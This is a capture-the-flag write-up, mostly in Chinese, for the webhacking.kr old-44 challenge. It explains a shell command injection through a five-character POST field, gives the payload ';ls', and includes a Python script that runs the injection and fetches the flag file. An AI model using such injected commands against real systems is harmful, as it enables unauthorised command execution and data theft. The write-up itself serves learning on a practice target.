Webhacking.kr old-44

posted
read
206 words · 1 min
contents

Challenge

Execute ls through a five-character POST field.

在五字符 POST 字段中执行 ls。

http://webhacking.kr:10005/

Analysis

服务端只保留 id 的前五个字符,再拼入:

system("echo 'hello! {$id}'");

输入 ';ls' 的前五个字符仍是 ';ls'。shell 先结束原来的单引号字符串,再执行 ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前 flag 文件名。

Solution

提交 POST 字段:

id=';ls'

命令输出返回一个以 flag_ 开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:

flag_<deployment-generated-name>

随后访问该文件读取 flag:

完整验证脚本如下。它只请求题目端口,不包含 cookie 或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。

from __future__ import annotations
import argparse
import re
from urllib.parse import urljoin
import requests
FLAG_FILE = re.compile(r"flag_[0-9a-f]+")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://webhacking.kr:10005/")
args = parser.parse_args()
response = requests.post(args.url, data={"id": "';ls'"}, timeout=20)
response.raise_for_status()
match = FLAG_FILE.search(response.text)
if not match:
raise RuntimeError("flag filename was not found in the command output")
flag_url = urljoin(args.url, match.group(0))
flag_response = requests.get(flag_url, timeout=20)
flag_response.raise_for_status()
print(flag_response.text)
if __name__ == "__main__":
main()